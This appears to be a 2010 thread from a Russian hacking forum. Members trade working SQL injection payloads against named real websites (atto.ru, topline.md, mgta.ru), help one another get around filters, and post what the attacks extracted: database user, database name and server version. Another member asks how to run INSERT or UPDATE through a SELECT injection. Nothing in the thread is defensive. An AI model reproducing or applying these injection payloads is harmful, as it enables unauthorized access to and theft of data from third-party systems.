 |
|
04.01.2010, 19:27
|
|
Постоянный
Регистрация: 17.09.2009
Сообщений: 775
С нами:
8762549
Репутация:
1069
|
|
я с подобным раньше не сталкивался:
http://web.atto.ru/catalog_new/catal...ar&CODE=211259
если подставить кавычку, то эрроры будут и от mssql и от mysql, как это ?
и возможно ли из этого что-то извлечь полезное (имя БД, юзера, версию, а то как ни пробовал, не получается) ? |
|
|
04.01.2010, 20:27
|
|
Постоянный
Регистрация: 17.09.2009
Сообщений: 775
С нами:
8762549
Репутация:
1069
|
|
Сообщение от Strilo4ka
пути
а mssql и mysql одновременно, это как ? 
|
|
|
|
04.01.2010, 20:31
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
А что здесь странного? Разве то, что об этом нигде не писалось, но все возможно. Все зависит от скрипта, в котором могут быть и все СУБД одновременно.
|
|
|
|
04.01.2010, 20:39
|
|
Постоянный
Регистрация: 17.09.2009
Сообщений: 775
С нами:
8762549
Репутация:
1069
|
|
А что здесь странного? Разве то, что об этом нигде не писалось, но все возможно. Все зависит от скрипта, в котором могут быть и все СУБД одновременно.
скрипт с 2 СУБД поидеи работает и все, ничего тут странного .
только что нашел на atto домене
http://smarthome.atto.ru/index.php?page=news&act=view&id=378+union+select+1 ,2,concat_ws(0x3a,user(),data base(),version(),@@version_compile_os),4,5--+
atto@localhost:atto_new:4.1.22-log  ortbld-freebsd6.2 Спасибо =)
|
|
|
|
04.01.2010, 20:56
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Уважаемые форучане, нужна ваша помощь в данной иньекции..по мне так стоит фильтр на лимит и на скобки.... подсобите пожайлуста..
http://topline.md/products.php?idproduct=-8819/**/UNION/**/SELECT/**/1,2,3,table_name,5,6,7,8,9/**/from/**/information_schema.tables/**/%23&idcat=1
|
|
|
|
04.01.2010, 21:00
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
http://topline.md/products.php?idproduct=-8819/**/UNION/**/SELECT/**/1,2,3,table_name,5,6,7,8,9/**/from/**/information_schema.tables/**/limit/**/1,1/**/%23&idcat=1
не понял трабла (хотя со скобками да, заморочка какая-то)
PS: СНГ )
Последний раз редактировалось Pashkela; 04.01.2010 в 21:03..
|
|
|
|
04.01.2010, 21:02
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Pashkela извини.. что то я тормознул...большое спасибо
|
|
|
|
04.01.2010, 23:00
|
|
Новичок
Регистрация: 27.02.2007
Сообщений: 8
С нами:
10106889
Репутация:
0
|
|
А можно ли вставить подзапрос модификации в инъекцию select?
Привелегий на запись файлов нет, привелегий на чтение файлов нет...
Хотелось бы выполнить insert или update..
База MySQL, 5.0.70
Последний раз редактировалось ZavuloN; 04.01.2010 в 23:06..
|
|
|
|
04.01.2010, 23:32
|
|
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами:
8859263
Репутация:
334
|
|
http://mgta.ru/struct/faculty/psychology/030301%27+an d+1='1/
http://mgta.ru/struct/faculty/psychology/030301%27%20union%20select%201%20--%20/ и так далее.
|
|
|
|
04.01.2010, 23:33
|
|
Новичок
Регистрация: 27.02.2007
Сообщений: 8
С нами:
10106889
Репутация:
0
|
|
Сообщение от Strilo4ka
кстати меня єтот вопрос тоже волнует !!!
поидеи можно но я такое не встречал , допустим если много запросов через разделять
какие то дополнительные разширения или ХЗ
Разделение через точку запятой это для MsSQL, mysql из php так не может, да и из остальных помоему тоже. Хотелось бы что нибудь типа on duplicate key, только для selecta. Интересно, нет никакого on error?
|
|
|
|
|
|
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Похожие темы
Линейный вид
